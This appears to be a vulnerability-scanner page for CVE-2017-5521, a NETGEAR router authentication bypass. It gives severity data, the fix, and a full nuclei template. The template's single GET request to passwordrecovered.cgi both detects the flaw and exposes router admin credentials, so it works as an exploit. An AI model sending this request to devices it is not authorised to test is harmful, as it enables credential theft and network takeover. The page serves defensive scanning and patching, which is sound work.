NETGEAR Routers - Authentication Bypass

Exploited in the wild. Listed by CISA on 2022-09-08; known to be used by ransomware.

highseverity

8.1CVSS score

89.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.

Impact

Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.

Fix

Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}
Positive when: matches /right">Router\s*Admin\s*Username</ AND status 200

Run it with nuclei: nuclei -id CVE-2017-5521 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-5521

info:
  name: NETGEAR Routers - Authentication Bypass
  author: princechaddha
  severity: high
  description: |
    NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
    - http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5521
    - https://www.exploit-db.com/exploits/41205/
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-5521
    cwe-id: CWE-200
    epss-score: 0.89353
    epss-percentile: 0.99785
    cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: r6200_firmware
  tags: cve,cve2017,auth-bypass,netgear,router,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "right\">Router\\s*Admin\\s*Username<"
          - "right\">Router\\s*Admin\\s*Password<"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from